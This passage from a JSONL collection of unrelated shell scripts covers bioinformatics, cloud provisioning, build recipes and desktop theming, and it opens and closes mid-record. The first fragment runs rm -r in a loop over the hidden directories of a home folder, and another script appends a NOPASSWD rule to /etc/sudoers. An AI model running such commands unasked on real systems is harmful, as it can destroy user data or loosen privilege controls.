for i in $(find /home/ilya -maxdepth 1 -name \".[^.]*\" -type d | grep -v '.ssh\\|.thunderbird\\|.dbus\\|.PrusaSlicer\\|.espressif\\|.themes\\|.parsec\\|.mozilla\\|.minecraft\\|.icons\\|.gnupg\\|.fonts\\|.cache\\|.SoulseekQt\\|.thumbnails\\|.config\\|.steam\\|.wine\\|.local'); do rm -r $i; done"} {"text": "#!/bin/bash\n\n#ENVVARS\n#OUTPUTDIR\n#SVC\n#ID\n#SAMPLEID\n\nset -eou pipefail\nbasen=\"renamed_${SAMPLEID}.vcf.gz\"\n\n#make sure we enter the correct dir to obtain outputs.\npushd \"${OUTPUTDIR}/${SVC}/rename\"\n#escape spaces, otherwise bcftools will try to use them as a delimiter\n#triple backslash to escape within backticks and then again within sed\nold_name=`echo \"$1\" | sed 's/ /\\\\\\ /g'`\nnew_name=`echo \"$2\" | sed 's/ /\\\\\\ /g'`\n\necho \"$old_name $new_name\" > sample_update.txt\n/opt/bcftools/bin/bcftools reheader -s sample_update.txt -o \"$basen\" \"$3\""} {"text": "inspector/prodInventory.sh\n#!/bin/bash\n# List all objects in measurement-lab\n\nproject=measurement-lab\n\ndatasets=`bq ls --project_id $project | sed -e '0,/-----/d'`\n\necho $datasets\n\nfor ds in $datasets; do\n echo \"======= $ds\"\n bq show --project_id $project $ds\ndone"} {"text": "fpmuniz/stepmania\n#!/bin/bash\n\n# output version\nbash printinfo.sh\n\nmake clean > /dev/null\n\necho \"checking...\"\n./helper.pl --check-source --check-makefiles --check-defines|| exit 1\n\nexit 0\n\n# ref: HEAD -> master, tag: v1.18.2\n# git commit: \n# commit time: 2018-07-01 22:49:01 +0200"} {"text": "{% extends '//mix/template/autorehell.sh' %}\n\n{% block fetch %}\nhttps://github.com/wolfSSL/wolfssl/archive/refs/tags/v5.0.0-stable.tar.gz\nd2044f756db0853dd2da0a90dd42ab62\n{% endblock %}\n\n{% block conf_ver %}\n2/71\n{% endblock %}\n\n{% block configure_flags %}\n--enable-all\n--enable-opensslextra\n--enable-opensslall\n--enable-base64encode\n--enable-pkcs11\n--enable-reproducible-build\n--enable-tls13\n{% endblock %}\n\n{% block env_lib %}\nexport COFLAGS=\"--with-wolfssl=${out} \\${COFLAGS}\"\n{% endblock %}\n\n{% block lib_deps %}\nlib/c\n{% endblock %}"} {"text": "python/utilities/qartod/qartod_ce_phsen.sh1-10\n#!/usr/bin/env bash\n#\n# qartod_ce_phsen.sh\n#\n# Collect the phsen data from all of the OOI Coastal Endurance moorings to\n# calculate QARTOD test ranges and generate the different lookup values and\n# tables.\n#\n# , 2021-06-17 -- Initial code\n\n# set the base directory python command for all subsequent processing\n. $(dirname $CONDA_EXE)/../etc/profile.d/conda.sh\nconda activate ooi\nPYTHON=\"python -m ooi_data_explorations.qartod.endurance.qartod_ce_phsen\"\n\n### CE01ISSM ###\n$PYTHON -s CE01ISSM -n RID16 -sn 06-PHSEND000 -co 2021-01-01T00:00:00\n$PYTHON -s CE01ISSM -n MFD35 -sn 06-PHSEND000 -co 2021-01-01T00:00:00\n\n### CE02SHSM ###\n$PYTHON -s CE02SHSM -n RID26 -sn 06-PHSEND000 -co 2021-01-01T00:00:00\n\n### CE04OSSM ###\n$PYTHON -s CE04OSSM -n RID26 -sn 06-PHSEND000 -co 2021-01-01T00:00:00\n\n### CE06ISSM ###\n$PYTHON -s CE06ISSM -n RID16 -sn 06-PHSEND000 -co 2021-01-01T00:00:00\n$PYTHON -s CE06ISSM -n MFD35 -sn 06-PHSEND000 -co 2021-01-01T00:00:00\n\n### CE07SHSM ###\n$PYTHON -s CE07SHSM -n RID26 -sn 06-PHSEND000 -co 2021-01-01T00:00:00\n$PYTHON -s CE07SHSM -n MFD35 -sn 06-PHSEND000 -co 2021-01-01T00:00:00\n\n### CE09OSSM ###\n$PYTHON -s CE09OSSM -n RID26 -sn 06-PHSEND000 -co 2021-01-01T00:00:00\n$PYTHON -s CE09OSSM -n MFD35 -sn 06-PHSEND000 -co 2021-01-01T00:00:00"} {"text": "1-10\n#!/usr/bin/env bash\n\n# Creates 1 VM for each supported distribution and enables Accelerated Networking on it:\n# https://docs.microsoft.com/en-us/azure/virtual-network/create-vm-accelerated-networking-cli#supported-operating-systems \n# Requires az cli v2.x\n\n#############################\n# Optional\n# Login into Azure\n#az login\n\n# If multiple subscription, set the one where VM and KeyVault are.\n#az account set -s \"\"\n# END Optional\n#############################\n\n# Decide on a region for the resources to be created\nregion=\"Set_Region_Here\"\n\n# Set a resource group name and create it\nrgName=\"Set_Resource_Group_Here\"\naz group create --name $rgName --location $region\n\n# Use a specific username\nuserName=\"azureuser\"\n\n# Set the VM size. Check you quota for a specific region before selecting the VM size, but also the suported VM size for AN.\n# Take into consideration this script will create 8 VMs, each the same size. \n# If you set a VM size that will create, let's say. 8vCPUs VMs, you'll use 84 vCPUs from your quota in the selected region.\nvmsize=\"Standard_DS4_v2\"\n\n# Set the network parametters:\nANVnet=\"myANVnet\"\nANSubnet=\"myANSubnet\"\nANNSG=\"myANNSG\"\nnsgruleName=\"Allow-SSH-Internet\"\n\n# Create a virtual network with az network vnet create. The following example creates a virtual network named myVnet with one subnet\naz network vnet create -g $rgName --name $ANVnet --address-prefix 192.168.0.0/16 --subnet-name $ANSubnet --subnet-prefix 192.168.1.0/24\n\n# Create a network security group\naz network nsg create -g $rgName --name $ANNSG\n\n# Open a port to allow SSH access to the virtual machine with az network nsg rule create:\naz network nsg rule create -g $rgName --nsg-name $ANNSG --name $nsgruleName --access Allow --protocol Tcp --direction Inbound --priority 100 --source-address-prefix Internet --source-port-range \"*\" --destination-address-prefix \"*\" --destination-port-range 22\n\n# Simulate a multidimensional array for the VMs we need to create, each subarray containing the VM name and Linux Image URN/SKU\ndeclare -a vms\n\nvms[0]='UbuntuAN1;Canonical:UbuntuServer:16.04.0-LTS:16.04.201808140;1'\nvms[1]='SLESAN1;SUSE:SLES:12-SP3:2018.09.04;2'\nvms[2]='RHELAN1;RedHat:RHEL:7.4:7.4.2018010506;3'\nvms[3]='CentOSAN1;OpenLogic:CentOS:7.4:7.4.20180704;4'\nvms[4]='CoreOSAN1;CoreOS:CoreOS:Stable:1855.4.0;5'\nvms[5]='DebianAN1;credativ:Debian:9:9.0.201808270;6'\nvms[6]='OracleUEKAN1;Oracle:Oracle-Linux:7.4:7.4.20180424;7'\nvms[7]='OracleRHCKAN1;Oracle:Oracle-Linux:7.4:7.4.20180424;8'\n\n# I used the same image for Oracle.\n# Will switch the boot order after creating them in order to get one booting the RHCK kernel.\n\nfor i in \"${vms[@]}\"\ndo\n arr=(${i//;/ })\n vmName=${arr[0]}\n vmImage=${arr[1]}\n c=${arr[2]}\n\n# Create a public IP address with az network public-ip create.\n# A public IP address isn't required if you don't plan to access the virtual machine from the Internet, so you may skip this step.\naz network public-ip create --name ANPubIp$c -g $rgName\n\n# Create a network interface with az network nic create with accelerated networking enabled.\naz network nic create -g $rgName --name ANNic$c --vnet-name $ANVnet --subnet $ANSubnet --accelerated-networking true --public-ip-address ANPubIp$c --network-security-group $ANNSG\n\n# Create the VM and attach the NIC you just created to the VM:\naz vm create -g $rgName -n $vmName --image $vmImage --size $vmsize --admin-username $userName --generate-ssh-keys --nics ANNic$c\n\ndone"} {"text": "#!/bin/bash\n\nset -e\n\n# First, install jdk, maven, git, etc.\n\nfor version in 2.7.1 2.7.3 2.7.5; do\n git clone git://git.apache.org/hadoop.git -b branch-$version --depth 1\n cd hadoop/hadoop-tools/hadoop-aws/\n git apply ../../../path-style-access.patch\n mvn package -Dhadoop.version=$version\n mv target/hadoop-aws-$version.jar ../../../\n cd ../../../\n rm -rf hadoop\ndone\n\nls hadoop-aws-*.jar"} {"text": "#!/bin/sh\n\n#sed -n '2,5p' filename\n\ntext1=$1\ntext2=$2\n\nif [[ -z \"${text1}\" || -z \"${text2}\" ]];then\n\techo \"usage : $0 filename1 filename2\"\n\texit 255\nfi\n\nif [ ! -e \"${text1}\" ];then\n\techo \"${text1}: No such file\"\n\texit 255\nfi\n\nif [ ! -e \"${text2}\" ];then\n\techo \"${text2}: No such file\"\n\texit 255\nfi\n\nRED='\\033[0;31m'\nNC='\\033[0m' # No Color\n\nx=0\nwhile read file1_line;do\n\tx=$(( x+1 ))\n\tfile2_line=$(sed -n \"${x}p\" ${text2})\n\tif [[ \"${file1_line}\" == \"${file2_line}\" ]];then\n\t\techo -e \" [$file1_line] [$file2_line]\"\n\telse\n\t\techo -e \"${RED}*[$file1_line] [$file2_line]${NC}\"\n\tfi\ndone<${text1}\n\nexit 0"} {"text": "#!/bin/bash\ndocker build -t fisuda/json-mqtt-lcd-01:1.0 ."} {"text": "#!/bin/bash\n\nkubectl -n influxdb create secret generic influxdb-creds \\\n --from-literal=INFLUXDB_DATABASE=influx \\\n --from-literal=INFLUXDB_USERNAME=influx \\\n --from-literal=INFLUXDB_PASSWORD= \\\n --from-literal=INFLUXDB_HOST=influxdb"} {"text": "#! /bin/bash\n\n# strict mode\nset -euo pipefail\nIFS=$'\\n\\t'\n\ncd ./python/\n\necho -e \"\\nRunning FLY Graph tests and code coverage\"\npython3 -m pip install --upgrade pip setuptools build wheel tox\npython3 -m tox -e cover"} {"text": "sudo docker run -e ENROUTE_NAME=adminproxy -e ENROUTE_CP_IP=127.0.0.1 -e ENROUTE_CP_PORT=8081 -e ENROUTE_CP_PROTO=HTTP --net=host saarasio/enroute:latest"} {"text": "0\n#!/bin/sh\n\nexport API_URL=https://icfpc2020-api.testkontur.ru\nexport API_KEY=\n\ncurl -X POST \"$API_URL/aliens/send?apiKey=$API_KEY\" -H \"accept: */*\" -H \"Content-Type: text/plain\" -d \"1010\""} {"text": "egoddard/serveinstall.sh\n#!/bin/bash\n\n# Install the required packages\napt-get update\napt-get install -y git nginx python-pip python-virtualenv pcregrep\n\napt-get install -y apt-transport-https ca-certificates\napt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys \n\n# Install docker and its dependencies\necho \"deb https://apt.dockerproject.org/repo ubuntu-trusty main\" | tee /etc/apt/sources.list.d/docker.list\napt-get update\n\napt-get install -y linux-image-extra-$(uname -r) linux-image-extra-virtual\napt-get install -y docker-engine\n\n# Start docker and set it to start on boot\nservice docker start\n\nuseradd -m -G docker serve\n\n# Make folder to hold app nginx configs\nif [ ! -d '/etc/nginx/apps.d' ]; then\n mkdir /etc/nginx/apps.d\n chown serve:serve /etc/nginx/apps.d\nfi\n\n# Make folder to hold app repos\nif [ ! -d '/opt/serve' ]; then\n mkdir /opt/serve\n chown serve:serve /opt/serve\nfi\n\n# Make sure ssh folder and authorized keys exist\nmkdir -p /home/serve/.ssh\n\nif [ ! -e /home/serve/.ssh/authorized_keys ]; then\n touch /home/serve/.ssh/authorized_keys\nfi\n\nchown -R serve:serve /home/serve/.ssh\nchmod 700 /home/serve/.ssh\n\n# Delete existing installation\nif [ -d '/home/serve/serve' ]; then\n echo \"Removing existing installation...\"\n sudo -u serve -H sh -c \"rm -rf /home/serve/serve/\"\nfi\n\n# Copy the serve folder to the serve users's home directory and fix permissions\nif [ -d '/vagrant' ]; then\n echo \"In a vagrant vm, switching to shared directory...\"\n cd /vagrant\nfi\n\necho \"Copying the Serve app to the serve user's folder...\"\nmkdir -p /home/serve/serve\ncp -r . /home/serve/serve\nchown -R serve:serve /home/serve/serve\n\n\n# Create a virtualenv to install the commands into\necho \"Creating the Python virtual environment...\"\nsudo -u serve -H sh -c \"virtualenv /home/serve/serve/.venv\"\n\necho \"Activating the virtual environment...\"\necho `pwd`\necho `ls`\nsudo -u serve -H sh -c \"cd /home/serve/serve; . .venv/bin/activate; python setup.py install\"\n\necho \"Adding serve command to path...\"\nsudo -u serve -H sh -c \"mkdir -p /home/serve/bin\"\n\nif [ ! -h '/home/serve/bin/serve' ]; then\n sudo -u serve -H sh -c \"ln -s /home/serve/serve/.venv/bin/serve /home/serve/bin/serve\"\nfi\n\n# Add serve to sudoers with permission to reload nginx\necho \"serve ALL = NOPASSWD: /etc/init.d/nginx reload,/etc/init.d/nginx start, /etc/init.d/nginx stop\" >> /etc/sudoers\n\n# Replace default nginx configuration\ncp serve_nginx_default.conf /etc/nginx/sites-available/default\n\n# Create the local apps directory\nmkdir -p /home/serve/apps\n\n# Copy the bashrc script so the serve user has a reasonable bash prompt with completion\ncp .bashrc /home/serve/.bashrc\nchown serve:serve /home/serve/.bashrc\n\necho \"Finished installing Serve.\"\necho \"Restart the server to make sure the serve user has the correct permissions.\""} {"text": "1-10\n#!/bin/bash\nsudo mv /usr/share/icons/Mint-X/status/22/transmission-tray-icon.png /usr/share/icons/Mint-X/status/22/000-transmission-tray-icon.png.ORG\nsudo mv /usr/share/icons/Mint-X/status/24/transmission-tray-icon.png /usr/share/icons/Mint-X/status/24/000-transmission-tray-icon.png.ORG\n\n# sudo cp /usr/share/icons/Mint-X-Dark/status/22/transmission-tray-icon.png /usr/share/icons/Mint-X/status/22/\n# sudo cp /usr/share/icons/Mint-X-Dark/status/24/transmission-tray-icon.png /usr/share/icons/Mint-X/status/24/\n\nsudo cp transmission-tray-icon.png /usr/share/icons/Mint-X/status/22/\nsudo cp transmission-tray-icon.png /usr/share/icons/Mint-X/status/24/"} {"text": "for t in r0 r1; do\n ssh root@$t 'apt-get install -y hwloc >/dev/null && hwloc-ls $(hostname).png && cat $(hostname).png' | \\\n cat > assets/hw_${t}.png\ndone"} {"text": "Exe Thumbnailer/Exe_Thumbnailer.sh\n#!/bin/bash\n\n# Встановлення python pip\nsudo apt install python3-pip\n\n# Встановлення icoextract\npip3 install icoextract[thumbnailer]\n\n# Створюємо необхідну директорію\nsudo mkdir /usr/local/share/thumbnailers\n\n# Копіюємо файл генерування іконок\nsudo cp exe-thumbnailer.thumbnailer /usr/local/share/thumbnailers\n\n# Інформаційне повідомлення\necho Необхідно перезавантажити систему\n\n# Діалог перезавантаження системи\nread -r -p $'Перезавантажити систему зараз (Так/\\e[4mНі\\e[0m)? ' response\nif [[ \"$response\" =~ ^([yY][eE][sS]|[yY]|[тТ][аА][кК]|[тТ])$ ]]\nthen\n echo Перезавантажуємо систему; sleep 1; reboot\nelse\n echo Завершуємо роботу скрипта; sleep 1\nfi"} {"text": "woohoolabs/larva1-10\n#!/bin/sh\nset -e\n\ncp /code/build/container/php-fpm/custom-php.ini /usr/local/etc/php/conf.d/zz-custom-php.ini\n\n/code/build/container/php-fpm/schema.sh\n\nphp-fpm"} {"text": "#!/bin/bash -e\n\n# Location of this script\nDIR=\"$(dirname $(readlink -f \"${BASH_SOURCE[0]}\"))\"\n\n# Useful functions\nsource \"${DIR}/../run_tools\"\n\n# Executable\nEXE=\"identify-front-fields\"\nwhich ${EXE} >/dev/null 2>&1 || {\n echo \"error: executable now found: ${EXE}\" >&2\n exit 1\n}\n\n# ------------------------------------------------------------------------------\n\nargs=(num_procs temp_var level dts \"tss_expr [tss_expr ...]\")\nopts=()\nn_args=$#\nif [ ${n_args} -lt \"${#args[@]}\" ]; then\n echo \"error: expected ${#args[@]} arguments, got ${n_args}\" >&2\n echo \"usage: $(basename ${0}) ${args[@]} [${opts[@]}]\" >&2\n exit 1\nfi\n\n# No. processes: 1: sequential; >1: parallel\nnum_procs=${1}\n\n# Temperature variable, e.g., T, TH, THE\ntemp_var=${2}\n\n# Vertical level (hPa), e.g., 850, 700\nlevel=${3}\n\n# Time step delta\ndts=${4}\n\nshift 4\n\n# Time step expressions, e.g., 2004, 2008011900-2008012123, 200201+200202+200212\ntss_exprs=(${@})\n\n# ------------------------------------------------------------------------------\n\n# Setup\nn_smooth=25\nmin_grad=0\nminsize=10\nstride=1\n\n# ------------------------------------------------------------------------------\n# Command line options\n# ------------------------------------------------------------------------------\n\n# Input\nflags_in=()\ntss_ranges_lists=($(expand_month_datetime_lists_ranges yyyymmddhh \\\n ${tss_exprs[@]})) || {\n echo \"error: expand_month_datetime_lists_ranges failed\" >&2\n exit 1\n}\nfor tss_ranges in ${tss_ranges_lists[@]}; do\n flags_in+=(-S $(echo ${tss_ranges//-/ } | sed \"s/,/ ${dts} -S /g\") ${dts})\ndone\ncase $((dts % 3)) in\n0) indir=\"data/3hrly/{YYYY}/{MM}\" ;;\n*) indir=\"data/1hrly/{YYYY}/{MM}\" ;;\nesac\ninfile=\"lffd{YYYY}{MM}{DD}{HH}p.nc\"\nflags_in+=(--infile-fmt=\"${indir}/${infile}\")\nflags_in+=(--level=${level})\nflags_in+=(--lonlat-names rlon rlat)\nflags_in+=(--temp-var=\"${temp_var}\")\nflags_in+=(--var-name-p=\"pressure\")\nflags_in+=(--var-name-t=\"T_hy50\")\nflags_in+=(--var-name-qv=\"QV_hy50\")\nflags_in+=(--var-name-u=\"U_hy50\")\nflags_in+=(--var-name-v=\"V_hy50\")\nflags_in+=(--var-uv-staggered)\n\n# Output\nflags_out=()\noutdir=\"data.fronts/${temp_var}.${level}\"\noutdir+=\".smt${n_smooth}\"\noutdir+=\"/{YYYY}/{MM}\"\noutfile=\"fronts_${temp_var}_${level}_{YYYY}{MM}{DD}{HH}.nc\"\nflags_out+=(--outfile-fmt=\"${outdir}/${outfile}\")\nflags_out+=(--outvars\n finp\n fmask\n farea\n fvel\n)\n\n# Setup\nflags_setup=()\nflags_setup+=(--diffuse=\"${n_smooth}\")\nflags_setup+=(--min-grad=\"${min_grad}\")\nflags_setup+=(--minsize=${minsize})\nflags_setup+=(--stride=${stride})\n\n# Execution\nflags_exe=()\nflags_exe+=(--verbose)\n# flags_exe+=(--profile)\nflags_exe+=(--$([ ${num_procs} -eq 1 ] && echo seq || echo par))\nflags_exe+=(--num-procs=${num_procs})\n\n# ------------------------------------------------------------------------------\n\n${EXE} \\\n ${flags_in[@]} \\\n ${flags_out[@]} \\\n ${flags_setup[@]} \\\n ${flags_exe[@]} ||\n {\n err=${?}\n echo \"execution error: exit ${err}\" >&2\n exit ${err}\n }\n\n# ------------------------------------------------------------------------------"} {"text": "#!/bin/bash\n# DESCRIÇÃO: COMANDO PARA ABRIR O ARQUIVO COMPACTADO. \n # SERVE PARA INTEGRIDADE DO ARQUIVO COMPACTADO\n# SINOPSE: meuscript[opçoes]\n# USO: ./script.sh --help\n# OPCÕES: -h --help -a\n# AUTOR: \n# VERSÃO: 1.0\n# LICENÇA: License GPL \n\n# XXX INSERIR ARGUMENTOS COM O ARQUIVO A SER COMPACTADO.\n# XXX INSERIR HELP getopts\n# XXX VER A POSSIBILIDADE DE INSERIDR DESTINO DO ARQUIVO COMPACTADO\n# EM OUTRO DIRETORIO\n\ntime=´date +%Y-%m-%d-%H.%M´\norigin=\"./script.sh\"\ndestination=\"/media/dom/DOM/teste\"\n# mount /dev/sdax /mnt/backup\nmock=\"true\"\nif [[ -z \"$mock\" ]]; then\n exit 2\nelse\n \n echo \"script funcionando\"\n tar -zcvf arquivo-\"$time\".tar.gz $origin\nfi"} {"text": "#!/usr/bin/env bash\n\n#set -e\n\n\n################################################################################\n### Head: theme\n##\ntheme_asset_install () {\n\n\ttheme_asset_install_gtk_theme_obsidian_2_gray\n\ttheme_asset_install_icon_theme_nord_black_frost_suru\n\n}\n\ntheme_asset_install_gtk_theme_obsidian_2_gray () {\n\n\ttheme_asset_install_gtk_theme_obsidian_2_gray_download\n\n\ttheme_asset_install_gtk_theme_obsidian_2_gray_to_local\n\n\techo\n\n\tfile \"$HOME/.themes/Obsidian-2-Gray\"\n\tls -l \"$HOME/.themes/Obsidian-2-Gray\"\n\n\techo\n\n}\n\ntheme_asset_install_gtk_theme_obsidian_2_gray_download () {\n\n\tif [ -a 'asset/theme-obsidian-2-gray/Obsidian-2-Gray' ]; then ## file is exists\n\t\techo \"File Exists: asset/theme-obsidian-2-gray/Obsidian-2-Gray\"\n\t\treturn 0\n\tfi\n\n\t## https://www.gnome-look.org/p/1173113/\n\t## https://github.com/madmaxms/theme-obsidian-2/archive/gray.tar.gz\n\n\t## wget --user-agent=\"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0\"\n\n\twget -q -c 'https://github.com/madmaxms/theme-obsidian-2/archive/gray.tar.gz' -O 'asset/theme-obsidian-2-gray.tar.gz'\n\techo \"wget -q -c 'https://github.com/madmaxms/theme-obsidian-2/archive/gray.tar.gz' -O 'asset/theme-obsidian-2-gray.tar.gz'\"\n\n\tcd 'asset'\n\n\ttar xf 'theme-obsidian-2-gray.tar.gz'\n\n\tcd ..\n}\n\ntheme_asset_install_gtk_theme_obsidian_2_gray_to_local () {\n\tif [ -a \"$HOME/.themes/Obsidian-2-Gray\" ]; then ## file is exists\n\t\techo \"File Exists: $HOME/.themes/Obsidian-2-Gray\"\n\t\treturn 0\n\tfi\n\n\tmkdir -p \"$HOME/.themes\"\n\n\tcp -a 'asset/theme-obsidian-2-gray/Obsidian-2-Gray' \"$HOME/.themes/Obsidian-2-Gray\"\n\t##cp -a 'asset/theme-obsidian-2-gray/Obsidian-2-Gray' \"$HOME/.local/share/themes/Obsidian-2-Gray\"\n}\n\n\n\n\ntheme_asset_install_icon_theme_nord_black_frost_suru () {\n\n\ttheme_asset_install_icon_theme_nord_black_frost_suru_clone\n\n\ttheme_asset_install_icon_theme_nord_black_frost_suru_to_local\n\n\techo\n\n\tfile \"$HOME/.icons/Black-Frost-Suru\"\n\tls -l \"$HOME/.icons/Black-Frost-Suru\"\n\n\techo\n\n}\n\ntheme_asset_install_icon_theme_nord_black_frost_suru_clone () {\n\n\tif [ -a 'asset/rtl88-Themes_Nord-Black-Frost' ]; then ## file is exists\n\t\techo \"File Exists: asset/rtl88-Themes_Nord-Black-Frost\"\n\t\treturn 0\n\tfi\n\n\t## https://www.gnome-look.org/search/projectSearchText/Nord-Black-Frost-Suru\n\t## https://www.gnome-look.org/p/1333828/\n\t## https://github.com/rtlewis88/rtl88-Themes/tree/Nord-Black-Frost/Nord-Black-Frost-Suru\n\n\techo \"git clone -b 'Nord-Black-Frost' 'https://github.com/rtlewis88/rtl88-Themes.git' 'asset/rtl88-Themes_Nord-Black-Frost'\"\n\tgit clone -b 'Nord-Black-Frost' 'https://github.com/rtlewis88/rtl88-Themes.git' 'asset/rtl88-Themes_Nord-Black-Frost'\n\n\n}\n\ntheme_asset_install_icon_theme_nord_black_frost_suru_to_local () {\n\tif [ -a \"$HOME/.icons/Black-Frost-Suru\" ]; then ## file is exists\n\t\techo \"File Exists: $HOME/.icons/Black-Frost-Suru\"\n\t\treturn 0\n\tfi\n\n\tmkdir -p \"$HOME/.icons\"\n\n\tcp -a 'asset/rtl88-Themes_Nord-Black-Frost/Black-Frost-Suru' \"$HOME/.icons/Black-Frost-Suru\"\n\t##cp -a 'asset/rtl88-Themes_Nord-Black-Frost/Black-Frost-Suru' \"$HOME/.local/share/icons/Black-Frost-Suru\"\n\n\techo\n\techo \"gtk-update-icon-cache $HOME/.icons/Black-Frost-Suru\"\n\tgtk-update-icon-cache \"$HOME/.icons/Black-Frost-Suru\"\n\n}\n\n\n\n##\n### Tail: theme\n################################################################################\n\n\n################################################################################\n### Head: main\n##\nmain_asset_install_prepare_dir () {\n\tmkdir -p 'asset'\n}\n\nmain_asset_install () {\n\n\tmain_asset_install_prepare_dir\n\n\ttheme_asset_install\n\n\n}\n## start\nmain_asset_install\n\n##\n### Tail: main\n################################################################################"} {"text": "1-10\n#!/usr/bin/env bash\n \nset -o nounset\nset -o pipefail\nset -o errexit\n\nexport DEBIAN_FRONTEND=noninteractive\n\nexport KUBERNETES_RELEASE_TAG=v${KUBERNETES_VERSION}\n\ncurl -fsSL https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\necho \"deb http://apt.kubernetes.io/ kubernetes-xenial main\" > /etc/apt/sources.list.d/kubernetes.list\n\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -\necho \"deb https://download.docker.com/linux/ubuntu xenial stable\" > /etc/apt/sources.list.d/docker-ce.list\n\nadd-apt-repository -y ppa:longsleep/golang-backports\n\napt-get update -y\n\napt-get install -y \\\n apt-transport-https \\\n ca-certificates \\\n software-properties-common \\\n curl \\\n socat \\\n ebtables \\\n cloud-utils \\\n cloud-init \\\n cloud-initramfs-growroot \\\n docker-ce=\"5:18.09.0~3-0~ubuntu-xenial\" \\\n kubectl=\"${KUBERNETES_VERSION}-00\" \\\n kubelet=\"${KUBERNETES_VERSION}-00\" \\\n kubeadm=\"${KUBERNETES_VERSION}-00\" \\\n kubernetes-cni=0.6.0-00 \\\n sysstat \\\n iotop \\\n rsync \\\n ngrep \\\n tcpdump \\\n atop \\\n python-pip \\\n jq \\\n unzip \\\n golang-go\n\n# We don't want to upgrade them.\napt-mark hold kubeadm kubectl kubelet kubernetes-cni docker-ce\n\nsystemctl enable docker\nsystemctl start docker\n\n#install envtpl\nGOPATH=/tmp/go go get github.com/subfuzion/envtpl/... && mv /tmp/go/bin/envtpl /usr/local/bin/envtpl\n\napt-get -o Dpkg::Options::=\"--force-confold\" upgrade -q -y --force-yes\n\n#install vault\ncurl -O https://releases.hashicorp.com/vault/${VAULT_VERSION}/vault_${VAULT_VERSION}_linux_amd64.zip\nunzip vault_${VAULT_VERSION}_linux_amd64.zip -d /usr/bin\nrm vault_${VAULT_VERSION}_linux_amd64.zip\n\n#install helm\ncurl https://storage.googleapis.com/kubernetes-helm/helm-${HELM_RELEASE_TAG}-linux-amd64.tar.gz | tar xz --strip 1 -C /usr/bin/\n\nsystemctl enable docker\nsystemctl start docker\n\npip install json2yaml\n\nhelm completion bash > /etc/bash_completion.d/helm\nkubectl completion bash > /etc/bash_completion.d/kubectl\n\nimages=(\n \"gcr.io/google_containers/kube-proxy-amd64:${KUBERNETES_RELEASE_TAG}\"\n \"gcr.io/google_containers/kube-apiserver-amd64:${KUBERNETES_RELEASE_TAG}\"\n \"gcr.io/google_containers/kube-scheduler-amd64:${KUBERNETES_RELEASE_TAG}\"\n \"gcr.io/google_containers/kube-controller-manager-amd64:${KUBERNETES_RELEASE_TAG}\"\n \"gcr.io/google_containers/etcd-amd64:${ETCD_RELEASE_TAG}\"\n \"gcr.io/google_containers/pause-amd64:3.0\"\n \"gcr.io/google_containers/k8s-dns-sidecar-amd64:${K8S_DNS_RELEASE_TAG}\"\n \"gcr.io/google_containers/k8s-dns-kube-dns-amd64:${K8S_DNS_RELEASE_TAG}\"\n \"gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:${K8S_DNS_RELEASE_TAG}\"\n \"gcr.io/kubernetes-helm/tiller:${HELM_RELEASE_TAG}\"\n)\n\nfor i in \"${images[@]}\" ; do docker pull \"${i}\" ; done"} {"text": "simifalaye/dotsprivate_dot_config/shell/posix/zoxide/@interactive.sh\n#\n# Zoxide configuration module\n#\n\n# Abort if requirements aren't met\nif ! is_callable zoxide; then\n return 1\nfi\n\n# Config\nexport _ZO_ECHO=1\n\n# Startup zoxide\nname=$(ps -p \"$$\" | awk 'NR>1{print $4}')\nif [[ $name == *\"zsh\"* ]]; then\n eval \"$(zoxide init zsh)\"\nelif [[ $name == *\"bash\"* ]]; then\n eval \"$(zoxide init bash)\"\nelse\n eval \"$(zoxide init posix --hook prompt)\"\nfi"} {"text": "mbiarnes/kogito-cloud-operator\n#!/bin/bash\n# Copyright 2019 Red Hat, Inc. and/or its affiliates\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n# runs all BDD tests for the operator\nSCRIPT_NAME=`basename $0`\nSCRIPT_DIR=`dirname $0`\n\nMASTER_RAW_URL=https://raw.githubusercontent.com/kiegroup/kogito-cloud-operator/master/deploy\nCRD_FILES_TO_IMPORT=(\n \"app.kiegroup.org_kogitoapps_crd.yaml\"\n \"app.kiegroup.org_kogitodataindices_crd.yaml\"\n \"app.kiegroup.org_kogitoinfras_crd.yaml\"\n \"app.kiegroup.org_kogitojobsservices_crd.yaml\"\n )\n\nfunction usage(){\n printf \"Run BDD tests.\"\n printf \"\\n\"\n printf \"\\n${SCRIPT_NAME} [options]*\"\n printf \"\\n\"\n printf \"\\nOptions:\"\n printf \"\\n\"\n printf \"\\n-h | --help\\n\\tPrint the usage of this script.\"\n printf \"\\n--feature {FEATURE_PATH}\\n\\tRun a specific feature file.\"\n printf \"\\n--tags {TAGS}\\n\\tFilter scenarios by tags.\"\n printf \"\\n\\tExpressions can be:\"\n printf \"\\n\\t\\t- '@wip': run all scenarios with wip tag\"\n printf \"\\n\\t\\t- '~@wip': exclude all scenarios with wip tag\"\n printf \"\\n\\t\\t- '@wip && ~@new': run wip scenarios, but exclude new\"\n printf \"\\n\\t\\t- '@wip,@undone': run wip or undone scenarios\"\n printf \"\\n\\t Scenarios with '@disabled' tag are always ignored.\"\n printf \"\\n--concurrent {NUMBER}\\n\\tSet the number of concurrent tests. Default is 1.\"\n printf \"\\n--timeout {TIMEOUT_IN_MINUTES}\\n\\tSet a timeout overall run in minutes. Default is 240.\"\n printf \"\\n--debug {BOOLEAN}\\n\\tRun in debug mode.\"\n printf \"\\n--local {BOOLEAN}\\n\\tSpecify whether you run test in local.\"\n printf \"\\n--ci {CI_NAME}\\n\\tSpecify whether you run test with ci, give also the name of the CI.\"\n printf \"\\n--smoke {BOOLEAN}\\n\\tFilter to run only the tests tagged with '@smoke'.\"\n printf \"\\n--operator_image {NAME}\\n\\tOperator image name. Default is 'quay.io/kiegroup' one.\"\n printf \"\\n--operator_tag {TAG}\\n\\tOperator image tag. Default is operator 